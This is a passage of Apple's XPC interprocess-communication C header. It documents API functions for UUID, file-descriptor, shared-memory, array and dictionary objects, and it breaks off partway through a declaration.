*/\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst char * _Nullable\nxpc_string_get_string_ptr(xpc_object_t xstring);\n\n#pragma mark UUID\n/*!\n * @function xpc_uuid_create\n *\n * @abstract\n * Creates an XPC object representing a universally-unique identifier (UUID) as\n * described by uuid(3).\n *\n * @param uuid\n * The UUID which is to be boxed.\n *\n * @result\n * A new UUID object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_object_t\nxpc_uuid_create(const uuid_t XPC_NONNULL_ARRAY uuid);\n\n/*!\n * @function xpc_uuid_get_bytes\n *\n * @abstract\n * Returns a pointer to the the boxed UUID bytes in an XPC UUID object.\n *\n * @param xuuid\n * The UUID object which is to be examined.\n * \n * @result\n * The underlying <code>uuid_t</code> bytes or NULL if the given object was not\n * an XPC UUID object. The returned pointer may be safely passed to the uuid(3)\n * APIs.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nconst uint8_t * _Nullable\nxpc_uuid_get_bytes(xpc_object_t xuuid);\n\n#pragma mark File Descriptors\n/*!\n * @function xpc_fd_create\n *\n * @abstract\n * Creates an XPC object representing a POSIX file descriptor.\n *\n * @param fd\n * The file descriptor which is to be boxed.\n *\n * @result\n * A new file descriptor object. NULL if sufficient memory could not be\n * allocated or if the given file descriptor was not valid.\n *\n * @discussion\n * This method performs the equivalent of a dup(2) on the descriptor, and thus\n * it is safe to call close(2) on the descriptor after boxing it with a file\n * descriptor object.\n *\n * IMPORTANT: Pointer equality is the ONLY valid test for equality between two\n * file descriptor objects. There is no reliable way to determine whether two\n * file descriptors refer to the same inode with the same capabilities, so two\n * file descriptor objects created from the same underlying file descriptor\n * number will not compare equally with xpc_equal(). This is also true of a\n * file descriptor object created using xpc_copy() and the original.\n *\n * This also implies that two collections containing file descriptor objects\n * cannot be equal unless the exact same object was inserted into both.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t _Nullable\nxpc_fd_create(int fd);\n\n/*!\n * @function xpc_fd_dup\n *\n * @abstract\n * Returns a file descriptor that is equivalent to the one boxed by the file\n * file descriptor object.\n *\n * @param xfd\n * The file descriptor object which is to be examined.\n *\n * @result\n * A file descriptor that is equivalent to the one originally given to\n * xpc_fd_create(). If the descriptor could not be created or if the given \n * object was not an XPC file descriptor, -1 is returned.\n *\n * @discussion\n * Multiple invocations of xpc_fd_dup() will not return the same file descriptor\n * number, but they will return descriptors that are equivalent, as though they\n * had been created by dup(2).\n *\n * The caller is responsible for calling close(2) on the returned descriptor.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint\nxpc_fd_dup(xpc_object_t xfd);\n\n#pragma mark Shared Memory\n/*!\n * @function xpc_shmem_create\n *\n * @abstract\n * Creates an XPC object representing the given shared memory region.\n *\n * @param region\n * A pointer to a region of shared memory, created through a call to mmap(2)\n * with the MAP_SHARED flag, which is to be boxed.\n *\n * @param length\n * The length of the region.\n *\n * @result\n * A new shared memory object.\n *\n * @discussion\n * Only memory regions whose exact characteristics are known to the caller\n * should be boxed using this API. Memory returned from malloc(3) may not be\n * safely shared on either OS X or iOS because the underlying virtual memory\n * objects for malloc(3)ed allocations are owned by the malloc(3) subsystem and\n * not the caller of malloc(3).\n *\n * If you wish to share a memory region that you receive from another subsystem,\n * part of the interface contract with that other subsystem must include how to\n * create the region of memory, or sharing it may be unsafe.\n *\n * Certain operations may internally fragment a region of memory in a way that\n * would truncate the range detected by the shared memory object. vm_copy(), for\n * example, may split the region into multiple parts to avoid copying certain\n * page ranges. For this reason, it is recommended that you delay all VM\n * operations until the shared memory object has been created so that the VM\n * system knows that the entire range is intended for sharing.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_object_t\nxpc_shmem_create(void *region, size_t length);\n\n/*!\n * @function xpc_shmem_map\n *\n * @abstract\n * Maps the region boxed by the XPC shared memory object into the caller's\n * address space.\n *\n * @param xshmem\n * The shared memory object to be examined.\n *\n * @param region\n * On return, this will point to the region at which the shared memory was\n * mapped.\n *\n * @result\n * The length of the region that was mapped. If the mapping failed or if the\n * given object was not an XPC shared memory object, 0 is returned. The length \n * of the mapped region will always be an integral page size, even if the\n * creator of the region specified a non-integral page size.\n *\n * @discussion\n * The resulting region must be disposed of with munmap(2).\n *\n * It is the responsibility of the caller to manage protections on the new\n * region accordingly. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nsize_t\nxpc_shmem_map(xpc_object_t xshmem, void * _Nullable * _Nonnull region);\n\n#pragma mark Array\n/*!\n * @typedef xpc_array_applier_t\n * A block to be invoked for every value in the array.\n *\n * @param index\n * The current index in the iteration.\n *\n * @param value\n * The current value in the iteration.\n *\n * @result\n * A Boolean indicating whether iteration should continue.\n */\n#ifdef __BLOCKS__\ntypedef bool (^xpc_array_applier_t)(size_t index, xpc_object_t _Nonnull value);\n#endif // __BLOCKS__ \n\n/*!\n * @function xpc_array_create\n *\n * @abstract\n * Creates an XPC object representing an array of XPC objects.\n *\n * @discussion\n * This array must be contiguous and cannot contain any NULL values. If you\n * wish to insert the equivalent of a NULL value, you may use the result of\n * {@link xpc_null_create}.\n *\n * @param objects\n * An array of XPC objects which is to be boxed. The order of this array is\n * preserved in the object. If this array contains a NULL value, the behavior\n * is undefined. This parameter may be NULL only if the count is 0.\n *\n * @param count\n * The number of objects in the given array. If the number passed is less than\n * the actual number of values in the array, only the specified number of items\n * are inserted into the resulting array. If the number passed is more than\n * the the actual number of values, the behavior is undefined.\n *\n * @result\n * A new array object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_array_create(\n\tconst xpc_object_t _Nonnull *XPC_COUNTEDBY(count) _Nullable objects,\n\tsize_t count);\n\n/*!\n * @function xpc_array_create_empty\n *\n * @abstract\n * Creates an XPC object representing an array of XPC objects.\n *\n * @result\n * A new array object.\n *\n * @see\n * xpc_array_create\n */\nAPI_AVAILABLE(macos(11.0), ios(14.0), tvos(14.0), watchos(7.0))\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_array_create_empty(void);\n\n/*!\n * @function xpc_array_set_value\n *\n * @abstract\n * Inserts the specified object into the array at the specified index.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array).\n * If the index is outside that range, the behavior is undefined.\n * \n * @param value\n * The object to insert. This value is retained by the array and cannot be\n * NULL. If there is already a value at the specified index, it is released,\n * and the new value is inserted in its place.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_array_set_value(xpc_object_t xarray, size_t index, xpc_object_t value);\n\n/*!\n * @function xpc_array_append_value\n *\n * @abstract\n * Appends an object to an XPC array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param value\n * The object to append. This object is retained by the array.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_array_append_value(xpc_object_t xarray, xpc_object_t value);\n\n/*!\n * @function xpc_array_get_count\n *\n * @abstract\n * Returns the count of values currently in the array.\n *\n * @param xarray\n * The array object which is to be examined.\n *\n * @result\n * The count of values in the array or 0 if the given object was not an XPC \n * array.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nsize_t\nxpc_array_get_count(xpc_object_t xarray);\n\n/*!\n * @function xpc_array_get_value\n *\n * @abstract\n * Returns the value at the specified index in the array.\n *\n * @param xarray\n * The array object which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the range of\n * indexes as specified in xpc_array_set_value().\n * \n * @result\n * The object at the specified index within the array or NULL if the given\n * object was not an XPC array.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nxpc_object_t\nxpc_array_get_value(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_apply\n *\n * @abstract\n * Invokes the given block for every value in the array.\n *\n * @param xarray\n * The array object which is to be examined.\n *\n * @param applier\n * The block which this function applies to every element in the array.\n * \n * @result\n * A Boolean indicating whether iteration of the array completed successfully.\n * Iteration will only fail if the applier block returns false.\n *\n * @discussion\n * You should not modify an array's contents during iteration. The array indexes\n * are iterated in order.\n */\n#ifdef __BLOCKS__\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nbool\nxpc_array_apply(xpc_object_t xarray, XPC_NOESCAPE xpc_array_applier_t applier);\n#endif // __BLOCKS__ \n\n#pragma mark Array Primitive Setters\n/*!\n * @define XPC_ARRAY_APPEND\n * A constant that may be passed as the destination index to the class of\n * primitive XPC array setters indicating that the given primitive should be\n * appended to the array.\n */\n#define XPC_ARRAY_APPEND ((size_t)(-1))\n\n/*!\n * @function xpc_array_set_bool\n *\n * @abstract\n * Inserts a <code>bool</code> (primitive) value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param value\n * The <code>bool</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_bool(xpc_object_t xarray, size_t index, bool value);\n\n/*!\n * @function xpc_array_set_int64\n *\n * @abstract\n * Inserts an <code>int64_t</code> (primitive) value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param value\n * The <code>int64_t</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_int64(xpc_object_t xarray, size_t index, int64_t value);\n\n/*!\n * @function xpc_array_set_uint64\n *\n * @abstract\n * Inserts a <code>uint64_t</code> (primitive) value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param value\n * The <code>uint64_t</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_uint64(xpc_object_t xarray, size_t index, uint64_t value);\n\n/*!\n * @function xpc_array_set_double\n *\n * @abstract\n * Inserts a <code>double</code> (primitive) value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param value\n * The <code>double</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_double(xpc_object_t xarray, size_t index, double value);\n\n/*!\n * @function xpc_array_set_date\n *\n * @abstract\n * Inserts a date value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param value\n * The date value to insert, represented as an <code>int64_t</code>. After \n * calling this method, the XPC object corresponding to the primitive value \n * inserted may be safely retrieved with {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_date(xpc_object_t xarray, size_t index, int64_t value);\n\n/*!\n * @function xpc_array_set_data\n *\n * @abstract\n * Inserts a raw data value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param bytes\n * The raw data to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_array_get_value()}.\n *\n * @param length\n * The length of the data.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_array_set_data(xpc_object_t xarray, size_t index,\n\tconst void *XPC_SIZEDBY(length) bytes, size_t length);\n\n/*!\n * @function xpc_array_set_string\n *\n * @abstract\n * Inserts a C string into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param string\n * The C string to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_array_set_string(xpc_object_t xarray, size_t index, const char *string);\n\n/*!\n * @function xpc_array_set_uuid\n *\n * @abstract\n * Inserts a <code>uuid_t</code> (primitive) value into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param uuid\n * The UUID primitive to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_array_set_uuid(xpc_object_t xarray, size_t index,\n\tconst uuid_t XPC_NONNULL_ARRAY uuid);\n\n/*!\n * @function xpc_array_set_fd\n *\n * @abstract\n * Inserts a file descriptor into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param fd\n * The file descriptor to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_array_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_array_set_fd(xpc_object_t xarray, size_t index, int fd);\n\n/*!\n * @function xpc_array_set_connection\n *\n * @abstract\n * Inserts a connection into an array.\n *\n * @param xarray\n * The array object which is to be manipulated.\n *\n * @param index\n * The index at which to insert the value. This value must lie within the index\n * space of the array (0 to N-1 inclusive, where N is the count of the array) or\n * be XPC_ARRAY_APPEND. If the index is outside that range, the behavior is\n * undefined.\n *\n * @param connection\n * The connection to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_array_get_value()}. The connection is NOT retained by the array.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_array_set_connection(xpc_object_t xarray, size_t index,\n\txpc_connection_t connection);\n\n#pragma mark Array Primitive Getters\n/*!\n * @function xpc_array_get_bool\n *\n * @abstract\n * Gets a <code>bool</code> primitive value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying <code>bool</code> value at the specified index. false if the\n * value at the specified index is not a Boolean value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nbool\nxpc_array_get_bool(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_int64\n *\n * @abstract\n * Gets an <code>int64_t</code> primitive value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying <code>int64_t</code> value at the specified index. 0 if the\n * value at the specified index is not a signed integer value. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint64_t\nxpc_array_get_int64(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_uint64\n *\n * @abstract\n * Gets a <code>uint64_t</code> primitive value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying <code>uint64_t</code> value at the specified index. 0 if the\n * value at the specified index is not an unsigned integer value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nuint64_t\nxpc_array_get_uint64(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_double\n *\n * @abstract\n * Gets a <code>double</code> primitive value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying <code>double</code> value at the specified index. NAN if the\n * value at the specified index is not a floating point value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\ndouble\nxpc_array_get_double(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_date\n *\n * @abstract\n * Gets a date interval from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying date interval at the specified index. 0 if the value at the\n * specified index is not a date value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint64_t\nxpc_array_get_date(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_data\n *\n * @abstract\n * Gets a pointer to the raw bytes of a data object from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @param length\n * Upon return output, will contain the length of the data corresponding to the\n * specified key.\n *\n * @result\n * The underlying bytes at the specified index. NULL if the value at the\n * specified index is not a data value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst void * _Nullable\nxpc_array_get_data(xpc_object_t xarray, size_t index,\n\tsize_t * _Nullable length);\n\n/*!\n * @function xpc_array_get_string\n *\n * @abstract\n * Gets a C string value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying C string at the specified index. NULL if the value at the\n * specified index is not a C string value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst char * _Nullable\nxpc_array_get_string(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_uuid\n *\n * @abstract\n * Gets a <code>uuid_t</code> value from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * The underlying <code>uuid_t</code> value at the specified index. The null\n * UUID if the value at the specified index is not a UUID value. The returned\n * pointer may be safely passed to the uuid(3) APIs.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst uint8_t * _Nullable\nxpc_array_get_uuid(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_dup_fd\n *\n * @abstract\n * Gets a file descriptor from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * A new file descriptor created from the value at the specified index. You are\n * responsible for close(2)ing this descriptor. -1 if the value at the specified\n * index is not a file descriptor value.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint\nxpc_array_dup_fd(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_create_connection\n *\n * @abstract\n * Creates a connection object from an array directly.\n *\n * @param xarray\n * The array which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the index space\n * of the array (0 to N-1 inclusive, where N is the count of the array). If the\n * index is outside that range, the behavior is undefined.\n *\n * @result\n * A new connection created from the value at the specified index. You are\n * responsible for calling xpc_release() on the returned connection. NULL if the\n * value at the specified index is not an endpoint containing a connection. Each\n * call to this method for the same index in the same array will yield a\n * different connection. See {@link xpc_connection_create_from_endpoint()} for\n * discussion as to the responsibilities when dealing with the returned\n * connection.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_connection_t _Nullable\nxpc_array_create_connection(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_dictionary\n *\n * @abstract\n * Returns the dictionary at the specified index in the array.\n *\n * @param xarray\n * The array object which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the range of\n * indexes as specified in xpc_array_set_value().\n * \n * @result\n * The object at the specified index within the array or NULL if the given\n * object was not an XPC array or if the the value at the specified index was\n * not a dictionary.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_object_t _Nullable\nxpc_array_get_dictionary(xpc_object_t xarray, size_t index);\n\n/*!\n * @function xpc_array_get_array\n *\n * @abstract\n * Returns the array at the specified index in the array.\n *\n * @param xarray\n * The array object which is to be examined.\n *\n * @param index\n * The index of the value to obtain. This value must lie within the range of\n * indexes as specified in xpc_array_set_value().\n * \n * @result\n * The object at the specified index within the array or NULL if the given\n * object was not an XPC array or if the the value at the specified index was\n * not an array.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_object_t _Nullable\nxpc_array_get_array(xpc_object_t xarray, size_t index);\n\n#pragma mark Dictionary\n/*!\n * @typedef xpc_dictionary_applier_t\n * A block to be invoked for every key/value pair in the dictionary.\n *\n * @param key\n * The current key in the iteration.\n *\n * @param value\n * The current value in the iteration.\n *\n * @result\n * A Boolean indicating whether iteration should continue.\n */\n#ifdef __BLOCKS__\ntypedef bool (^xpc_dictionary_applier_t)(const char * _Nonnull key,\n\t\txpc_object_t _Nonnull value);\n#endif // __BLOCKS__ \n\n/*!\n * @function xpc_dictionary_create\n *\n * @abstract\n * Creates an XPC object representing a dictionary of XPC objects keyed to\n * C-strings.\n *\n * @param keys\n * An array of C-strings that are to be the keys for the values to be inserted.\n * Each element of this array is copied into the dictionary's internal storage.\n * Elements of this array may NOT be NULL.\n *\n * @param values\n * A C-array that is parallel to the array of keys, consisting of objects that\n * are to be inserted. Each element in this array is retained. Elements in this\n * array may be NULL.\n *\n * @param count\n * The number of key/value pairs in the given arrays. If the count is less than\n * the actual count of values, only that many key/value pairs will be inserted\n * into the dictionary.\n *\n * If the count is more than the the actual count of key/value pairs, the\n * behavior is undefined. If one array is NULL and the other is not, the \n * behavior is undefined. If both arrays are NULL and the count is non-0, the\n * behavior is undefined.\n *\n * @result\n * The new dictionary object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_dictionary_create(\n\tconst char *XPC_CSTRING _Nonnull const *XPC_COUNTEDBY(count) _Nullable keys,\n\tconst xpc_object_t _Nullable *XPC_COUNTEDBY(count) _Nullable values, size_t count);\n\n/*!\n * @function xpc_dictionary_create_empty\n *\n * @abstract\n * Creates an XPC object representing a dictionary of XPC objects keyed to\n * C-strings.\n *\n * @result\n * The new dictionary object.\n *\n * @see\n * xpc_dictionary_create\n */\nAPI_AVAILABLE(macos(11.0), ios(14.0), tvos(14.0), watchos(7.0))\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_dictionary_create_empty(void);\n\n/*!\n * @function xpc_dictionary_create_reply\n * \n * @abstract\n * Creates a dictionary that is in reply to the given dictionary.\n *\n * @param original\n * The original dictionary that is to be replied to.\n *\n * @result\n * The new dictionary object. NULL if the object was not a dictionary with a\n * reply context.\n *\n * @discussion\n * After completing successfully on a dictionary, this method may not be called\n * again on that same dictionary. Attempts to do so will return NULL.\n *\n * When this dictionary is sent across the reply connection, the remote end's\n * reply handler is invoked.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_object_t _Nullable\nxpc_dictionary_create_reply(xpc_object_t original);\n\n/*!\n * @function xpc_dictionary_set_value\n *\n * @abstract\n * Sets the value for the specified key to the specified object.\n *\n * @param xdict\n * The dictionary object which is to be manipulated.\n *\n * @param key\n * The key for which the value shall be set.\n *\n * @param value\n * The object to insert. The object is retained by the dictionary. If there\n * already exists a value for the specified key, the old value is released\n * and overwritten by the new value. This parameter may be NULL, in which case\n * the value corresponding to the specified key is deleted if present.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_value(xpc_object_t xdict, const char *key,\n\txpc_object_t _Nullable value);\n\n/*!\n * @function xpc_dictionary_get_value\n *\n * @abstract\n * Returns the value for the specified key.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n * \n * @result\n * The object for the specified key within the dictionary. NULL if there is no\n * value associated with the specified key or if the given object was not an\n * XPC dictionary.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, 